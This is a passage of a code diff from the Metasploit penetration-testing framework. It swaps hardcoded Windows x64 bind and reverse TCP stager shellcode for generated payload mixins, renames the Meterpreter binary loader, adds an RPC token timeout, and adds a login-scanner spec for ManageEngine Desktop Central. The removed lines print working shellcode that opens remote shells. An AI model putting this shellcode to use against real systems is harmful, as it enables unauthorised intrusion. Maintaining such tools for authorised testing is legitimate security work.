"\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF" +
|
||||
"\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4" +
|
||||
"\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F" +
|
||||
"\xFF\xD5\x01\xC3\x29\xC6\x75\xEE\xC3"
|
||||
}
|
||||
'Stager' => { 'RequiresMidstager' => false }
|
||||
))
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -6,14 +6,14 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/windows/x64/bind_tcp'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 467
|
||||
CachedSize = :dynamic
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BindTcp_x64
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
|
@ -25,45 +25,7 @@ module Metasploit3
|
|||
'Arch' => ARCH_X86_64,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Convention' => 'sockrdi',
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LPORT' => [ 232, 'n' ]
|
||||
},
|
||||
'RequiresMidstager' => false,
|
||||
'Payload' =>
|
||||
"\xFC\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51" +
|
||||
"\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" +
|
||||
"\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" +
|
||||
"\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" +
|
||||
"\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88" +
|
||||
"\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44" +
|
||||
"\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48" +
|
||||
"\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1" +
|
||||
"\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44" +
|
||||
"\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49" +
|
||||
"\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A" +
|
||||
"\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41" +
|
||||
"\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x49\xBE\x77\x73\x32" +
|
||||
"\x5F\x33\x32\x00\x00\x41\x56\x49\x89\xE6\x48\x81\xEC\xA0\x01\x00" +
|
||||
"\x00\x49\x89\xE5\x49\xBC\x02\x00\x11\x5C\x00\x00\x00\x00\x41\x54" +
|
||||
"\x49\x89\xE4\x4C\x89\xF1\x41\xBA\x4C\x77\x26\x07\xFF\xD5\x4C\x89" +
|
||||
"\xEA\x68\x01\x01\x00\x00\x59\x41\xBA\x29\x80\x6B\x00\xFF\xD5\x50" +
|
||||
"\x50\x4D\x31\xC9\x4D\x31\xC0\x48\xFF\xC0\x48\x89\xC2\x48\xFF\xC0" +
|
||||
"\x48\x89\xC1\x41\xBA\xEA\x0F\xDF\xE0\xFF\xD5\x48\x89\xC7\x6A\x10" +
|
||||
"\x41\x58\x4C\x89\xE2\x48\x89\xF9\x41\xBA\xC2\xDB\x37\x67\xFF\xD5" +
|
||||
"\x48\x31\xD2\x48\x89\xF9\x41\xBA\xB7\xE9\x38\xFF\xFF\xD5\x4D\x31" +
|
||||
"\xC0\x48\x31\xD2\x48\x89\xF9\x41\xBA\x74\xEC\x3B\xE1\xFF\xD5\x48" +
|
||||
"\x89\xF9\x48\x89\xC7\x41\xBA\x75\x6E\x4D\x61\xFF\xD5\x48\x81\xC4" +
|
||||
"\xA0\x02\x00\x00\x48\x83\xEC\x10\x48\x89\xE2\x4D\x31\xC9\x6A\x04" +
|
||||
"\x41\x58\x48\x89\xF9\x41\xBA\x02\xD9\xC8\x5F\xFF\xD5\x48\x83\xC4" +
|
||||
"\x20\x5E\x6A\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xF2" +
|
||||
"\x48\x31\xC9\x41\xBA\x58\xA4\x53\xE5\xFF\xD5\x48\x89\xC3\x49\x89" +
|
||||
"\xC7\x4D\x31\xC9\x49\x89\xF0\x48\x89\xDA\x48\x89\xF9\x41\xBA\x02" +
|
||||
"\xD9\xC8\x5F\xFF\xD5\x48\x01\xC3\x48\x29\xC6\x48\x85\xF6\x75\xE1" +
|
||||
"\x41\xFF\xE7"
|
||||
}
|
||||
'Stager' => { 'RequiresMidstager' => false }
|
||||
))
|
||||
end
|
||||
|
||||
|
|
|
@ -6,14 +6,14 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/windows/x64/reverse_tcp'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 422
|
||||
CachedSize = :dynamic
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::ReverseTcp_x64
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
|
@ -25,43 +25,7 @@ module Metasploit3
|
|||
'Arch' => ARCH_X86_64,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Convention' => 'sockrdi',
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LPORT' => [ 232, 'n' ],
|
||||
'LHOST' => [ 234, 'ADDR' ]
|
||||
},
|
||||
'RequiresMidstager' => false,
|
||||
'Payload' =>
|
||||
"\xFC\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51" +
|
||||
"\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" +
|
||||
"\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" +
|
||||
"\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" +
|
||||
"\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88" +
|
||||
"\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44" +
|
||||
"\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48" +
|
||||
"\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1" +
|
||||
"\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44" +
|
||||
"\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49" +
|
||||
"\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A" +
|
||||
"\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41" +
|
||||
"\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x49\xBE\x77\x73\x32" +
|
||||
"\x5F\x33\x32\x00\x00\x41\x56\x49\x89\xE6\x48\x81\xEC\xA0\x01\x00" +
|
||||
"\x00\x49\x89\xE5\x49\xBC\x02\x00\x11\x5C\x7F\x00\x00\x01\x41\x54" +
|
||||
"\x49\x89\xE4\x4C\x89\xF1\x41\xBA\x4C\x77\x26\x07\xFF\xD5\x4C\x89" +
|
||||
"\xEA\x68\x01\x01\x00\x00\x59\x41\xBA\x29\x80\x6B\x00\xFF\xD5\x50" +
|
||||
"\x50\x4D\x31\xC9\x4D\x31\xC0\x48\xFF\xC0\x48\x89\xC2\x48\xFF\xC0" +
|
||||
"\x48\x89\xC1\x41\xBA\xEA\x0F\xDF\xE0\xFF\xD5\x48\x89\xC7\x6A\x10" +
|
||||
"\x41\x58\x4C\x89\xE2\x48\x89\xF9\x41\xBA\x99\xA5\x74\x61\xFF\xD5" +
|
||||
"\x48\x81\xC4\x40\x02\x00\x00\x48\x83\xEC\x10\x48\x89\xE2\x4D\x31" +
|
||||
"\xC9\x6A\x04\x41\x58\x48\x89\xF9\x41\xBA\x02\xD9\xC8\x5F\xFF\xD5" +
|
||||
"\x48\x83\xC4\x20\x5E\x6A\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58" +
|
||||
"\x48\x89\xF2\x48\x31\xC9\x41\xBA\x58\xA4\x53\xE5\xFF\xD5\x48\x89" +
|
||||
"\xC3\x49\x89\xC7\x4D\x31\xC9\x49\x89\xF0\x48\x89\xDA\x48\x89\xF9" +
|
||||
"\x41\xBA\x02\xD9\xC8\x5F\xFF\xD5\x48\x01\xC3\x48\x29\xC6\x48\x85" +
|
||||
"\xF6\x75\xE1\x41\xFF\xE7"
|
||||
}
|
||||
'Stager' => { 'RequiresMidstager' => false }
|
||||
))
|
||||
end
|
||||
|
||||
|
|
|
@ -8,6 +8,9 @@ require 'msf/base/sessions/meterpreter_x86_linux'
|
|||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/elfparsey'
|
||||
|
||||
# Provides methods to patch options into the metsrv stager.
|
||||
require 'rex/payloads/meterpreter/patch'
|
||||
|
||||
module Metasploit3
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
|
@ -97,13 +100,14 @@ module Metasploit3
|
|||
end
|
||||
|
||||
def generate_stage
|
||||
#file = File.join(Msf::Config.data_directory, "msflinker_linux_x86.elf")
|
||||
file = File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin")
|
||||
blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin')
|
||||
|
||||
met = File.open(file, "rb") {|f|
|
||||
f.read(f.stat.size)
|
||||
}
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(blob,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i)
|
||||
|
||||
return met
|
||||
blob
|
||||
end
|
||||
end
|
||||
|
|
|
@ -6,9 +6,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/reflectivedllinject'
|
||||
require 'msf/core/payload/windows/x64/reflectivedllinject'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
require 'msf/base/sessions/meterpreter_x64_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
|
||||
###
|
||||
|
@ -16,6 +14,7 @@ require 'msf/base/sessions/meterpreter_options'
|
|||
# Injects the meterpreter server DLL via the Reflective Dll Injection payload
|
||||
#
|
||||
###
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Windows::ReflectiveDllInject
|
||||
|
@ -26,10 +25,7 @@ module Metasploit3
|
|||
'Name' => 'Windows Meterpreter (Reflective Injection)',
|
||||
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)',
|
||||
'Author' => ['skape','sf'],
|
||||
'PayloadCompat' =>
|
||||
{
|
||||
'Convention' => 'sockedi',
|
||||
},
|
||||
'PayloadCompat' => { 'Convention' => 'sockedi', },
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_x86_Win))
|
||||
|
||||
|
@ -39,7 +35,7 @@ module Metasploit3
|
|||
end
|
||||
|
||||
def library_path
|
||||
MeterpreterBinaries.path('metsrv','x86.dll')
|
||||
MetasploitPayloads.meterpreter_path('metsrv','x86.dll')
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -41,7 +41,7 @@ module Metasploit3
|
|||
end
|
||||
|
||||
def library_path
|
||||
MeterpreterBinaries.path('metsrv','x86.dll')
|
||||
MetasploitPayloads.meterpreter_path('metsrv','x86.dll')
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -22,19 +22,20 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows x64 Meterpreter',
|
||||
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (Windows x64) (staged)',
|
||||
'Name' => 'Windows Meterpreter (Reflective Injection x64)',
|
||||
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64)',
|
||||
'Author' => [ 'sf' ],
|
||||
'PayloadCompat' => { 'Convention' => 'sockrdi', },
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_x64_Win
|
||||
))
|
||||
'Session' => Msf::Sessions::Meterpreter_x64_Win))
|
||||
|
||||
options.remove_option( 'LibraryName' )
|
||||
options.remove_option( 'DLL' )
|
||||
# Don't let people set the library name option
|
||||
options.remove_option('LibraryName')
|
||||
options.remove_option('DLL')
|
||||
end
|
||||
|
||||
def library_path
|
||||
MeterpreterBinaries.path('metsrv','x64.dll')
|
||||
MetasploitPayloads.meterpreter_path('metsrv','x64.dll')
|
||||
end
|
||||
|
||||
end
|
||||
|
|
10
msfrpcd
10
msfrpcd
|
@ -30,9 +30,10 @@ arguments = Rex::Parser::Arguments.new(
|
|||
"-U" => [ true, "Specify the username to access msfrpcd" ],
|
||||
"-P" => [ true, "Specify the password to access msfrpcd" ],
|
||||
"-u" => [ true, "URI for Web server" ],
|
||||
"-S" => [ false, "Disable SSL on the RPC socket" ],
|
||||
"-t" => [ true, "Token Timeout (default 300 seconds" ],
|
||||
"-S" => [ false, "Disable SSL on the RPC socket" ],
|
||||
"-f" => [ false, "Run the daemon in the foreground" ],
|
||||
"-n" => [ false, "Disable database" ],
|
||||
"-n" => [ false, "Disable database" ],
|
||||
"-h" => [ false, "Help banner" ])
|
||||
|
||||
opts = {
|
||||
|
@ -40,7 +41,8 @@ opts = {
|
|||
'SSL' => true,
|
||||
'ServerHost' => '0.0.0.0',
|
||||
'ServerPort' => 55553,
|
||||
'ServerType' => 'Msg'
|
||||
'ServerType' => 'Msg',
|
||||
'TokenTimeout' => 300,
|
||||
}
|
||||
|
||||
foreground = false
|
||||
|
@ -60,6 +62,8 @@ arguments.parse(ARGV) { |opt, idx, val|
|
|||
opts['User'] = val
|
||||
when '-P'
|
||||
opts['Pass'] = val
|
||||
when "-t"
|
||||
opts['TokenTimeout'] = val.to_i
|
||||
when "-f"
|
||||
foreground = true
|
||||
when "-u"
|
||||
|
|
|
@ -45,6 +45,7 @@ class Plugin::MSGRPC < Msf::Plugin
|
|||
user = opts['User'] || "msf"
|
||||
pass = opts['Pass'] || ::Rex::Text.rand_text_alphanumeric(8)
|
||||
uri = opts['URI'] || "/api"
|
||||
timeout = opts['TokenTimeout'] || 300
|
||||
|
||||
print_status("MSGRPC Service: #{host}:#{port} #{ssl ? " (SSL)" : ""}")
|
||||
print_status("MSGRPC Username: #{user}")
|
||||
|
@ -56,7 +57,8 @@ class Plugin::MSGRPC < Msf::Plugin
|
|||
:ssl => ssl,
|
||||
:cert => cert,
|
||||
:uri => uri,
|
||||
:tokens => { }
|
||||
:tokens => { },
|
||||
:token_timeout => timeout
|
||||
})
|
||||
|
||||
self.server.add_user(user, pass)
|
||||
|
|
|
@ -92,7 +92,7 @@ if client.platform =~ /win32|win64/
|
|||
to ||= from
|
||||
print_status(" >> Uploading #{from}...")
|
||||
fd = client.fs.file.new(tempdir + "\\" + to, "wb")
|
||||
path = (from == 'metsrv.x86.dll') ? MeterpreterBinaries.path('metsrv','x86.dll') : File.join(based, from)
|
||||
path = (from == 'metsrv.x86.dll') ? MetasploitPayloads.meterpreter_path('metsrv','x86.dll') : File.join(based, from)
|
||||
fd.write(::File.read(path, ::File.size(path)))
|
||||
fd.close
|
||||
end
|
||||
|
|
|
@ -0,0 +1,156 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/manageengine_desktop_central'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::ManageEngineDesktopCentral do
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
|
||||
let(:session_id) do
|
||||
'DCJSESSIONID=5628CFEA339C2688D74267B03CDA88BD; '
|
||||
end
|
||||
|
||||
let(:username) do
|
||||
'username'
|
||||
end
|
||||
|
||||
let(:good_password) do
|
||||
'good_password'
|
||||
end
|
||||
|
||||
let(:bad_password) do
|
||||
'bad_password'
|
||||
end
|
||||
|
||||
let(:successful_auth_response) do
|
||||
Rex::Proto::Http::Response.new(302, 'Moved Temporarily')
|
||||
end
|
||||
|
||||
let(:fail_auth_response) do
|
||||
Rex::Proto::Http::Response.new(200, 'OK')
|
||||
end
|
||||
|
||||
subject do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:response) do
|
||||
Rex::Proto::Http::Response.new(200, 'OK')
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:request_cgi).with(any_args)
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(response)
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:set_config).with(any_args)
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:close)
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect)
|
||||
end
|
||||
|
||||
describe '#check_setup' do
|
||||
context 'when target is ManageEngine Desktop Central' do
|
||||
let(:response) do
|
||||
res = Rex::Proto::Http::Response.new(200, 'OK')
|
||||
res.body = 'ManageEngine Desktop Central'
|
||||
res
|
||||
end
|
||||
it 'returns true' do
|
||||
expect(subject.check_setup).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when target is not ManageEngine Desktop Central' do
|
||||
it 'returns false' do
|
||||
expect(subject.check_setup).to be_falsey
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#get_sid' do
|
||||
context 'when there is no session ID' do
|
||||
let(:response) do
|
||||
res = Rex::Proto::Http::Response.new(200, 'OK')
|
||||
res.headers['Set-Cookie'] = session_id
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
it 'returns a new session ID' do
|
||||
expect(subject.get_sid(response)).to include('DCJSESSIONID')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#get_hidden_inputs' do
|
||||
let(:response) do
|
||||
html = %Q|
|
||||
<input type="hidden" name="buildNum" id="buildNum" value="90109"/>
|
||||
<input type="hidden" name="clearCacheBuildNum" id="clearCacheBuildNum" value="-1"/>
|
||||
|
|
||||
res = Rex::Proto::Http::Response.new(200, 'OK')
|
||||
res.body = html
|
||||
res
|
||||
end
|
||||
|
||||
context 'when there are hidden login inputs' do
|
||||
it 'returns a Hash' do
|
||||
expect(subject.get_hidden_inputs(response)).to be_kind_of(Hash)
|
||||
end
|
||||
|
||||
it 'returns the value for buildNum' do
|
||||
expect(subject.get_hidden_inputs(response)['buildNum']).to eq('90109')
|
||||
end
|
||||
|
||||
it 'returns the value for clearCacheBuildNum' do
|
||||
expect(subject.get_hidden_inputs(response)['clearCacheBuildNum']).to eq('-1')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#get_login_state' do
|
||||
context 'when the credential is valid' do
|
||||
let(:response) { successful_auth_response }
|
||||
it 'returns a hash indicating a successful login' do
|
||||
expect(subject.get_login_state(username, good_password)[:status]).to eq(Metasploit::Model::Login::Status::SUCCESSFUL)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the creential is invalid' do
|
||||
let(:response) { fail_auth_response }
|
||||
it 'returns a hash indicating an incorrect cred' do
|
||||
expect(subject.get_login_state(username, good_password)[:status]).to eq(Metasploit::Model::Login::Status::INCORRECT)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#attempt_login' do
|
||||
context 'when the credential is valid' do
|
||||
let(:response) { successful_auth_response }
|
||||
let(:cred_obj) { Metasploit::Framework::Credential.new(public: username, private: good_password) }
|
||||
|
||||
it 'returns a Result object indicating a successful login' do
|
||||
result = subject.attempt_login(cred_obj)
|
||||
expect(result).to be_kind_of(::Metasploit::Framework::LoginScanner::Result)
|
||||
end
|
||||
|
||||
it 'returns successful login' do
|
||||
result = subject.attempt_login(cred_obj)
|
||||
expect(result.status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the credential is invalid' do
|
||||
let(:response) { fail_auth_response }
|
||||
let(:cred_obj) { Metasploit::Framework::Credential.new(public: username, private: bad_password) }
|
||||
|
||||
it 'returns a Result object' do
|
||||
result = subject.attempt_login(cred_obj)
|
||||
expect(result).to be_kind_of(::Metasploit::Framework::LoginScanner::Result)
|
||||
end
|
||||
|
||||
it 'returns incorrect credential status' do
|
||||
result = subject.attempt_login(cred_obj)
|
||||
expect(result.status).to eq(Metasploit::Model::Login::Status::INCORRECT)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,8 +1,8 @@
|
|||
require 'spec_helper'
|
||||
require 'rex/post/meterpreter'
|
||||
|
||||
describe MeterpreterBinaries do
|
||||
describe MetasploitPayloads do
|
||||
it 'is available' do
|
||||
expect(described_class).to eq(MeterpreterBinaries)
|
||||
expect(described_class).to eq(MetasploitPayloads)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1348,7 +1348,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/linux/x86/bind_tcp',
|
||||
'stages/linux/x86/meterpreter'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'linux/x86/meterpreter/bind_tcp'
|
||||
end
|
||||
|
@ -1455,7 +1455,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/linux/x86/bind_tcp',
|
||||
'stages/linux/x86/shell'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'linux/x86/shell/bind_tcp'
|
||||
end
|
||||
|
@ -2285,7 +2285,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/bind_tcp',
|
||||
'stages/windows/dllinject'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/dllinject/bind_tcp'
|
||||
end
|
||||
|
@ -2571,7 +2571,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/bind_tcp',
|
||||
'stages/windows/meterpreter'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/meterpreter/bind_tcp'
|
||||
end
|
||||
|
@ -2789,7 +2789,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/bind_tcp',
|
||||
'stages/windows/patchupdllinject'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/patchupdllinject/bind_tcp'
|
||||
end
|
||||
|
@ -2932,7 +2932,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/bind_tcp',
|
||||
'stages/windows/patchupmeterpreter'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/patchupmeterpreter/bind_tcp'
|
||||
end
|
||||
|
@ -3075,7 +3075,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/bind_tcp',
|
||||
'stages/windows/shell'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/shell/bind_tcp'
|
||||
end
|
||||
|
@ -3268,7 +3268,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/bind_tcp',
|
||||
'stages/windows/upexec'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/upexec/bind_tcp'
|
||||
end
|
||||
|
@ -3411,7 +3411,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/bind_tcp',
|
||||
'stages/windows/vncinject'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/vncinject/bind_tcp'
|
||||
end
|
||||
|
@ -3552,7 +3552,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/x64/bind_tcp',
|
||||
'stages/windows/x64/meterpreter'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/meterpreter/bind_tcp'
|
||||
end
|
||||
|
@ -3574,7 +3574,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/x64/reverse_tcp',
|
||||
'stages/windows/x64/meterpreter'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/meterpreter/reverse_tcp'
|
||||
end
|
||||
|
@ -3635,7 +3635,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/x64/bind_tcp',
|
||||
'stages/windows/x64/shell'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/shell/bind_tcp'
|
||||
end
|
||||
|
@ -3646,7 +3646,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/x64/reverse_tcp',
|
||||
'stages/windows/x64/shell'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/shell/reverse_tcp'
|
||||
end
|
||||
|
@ -3677,7 +3677,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/x64/bind_tcp',
|
||||
'stages/windows/x64/vncinject'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/vncinject/bind_tcp'
|
||||
end
|
||||
|
@ -3688,7 +3688,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/x64/reverse_tcp',
|
||||
'stages/windows/x64/vncinject'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/vncinject/reverse_tcp'
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue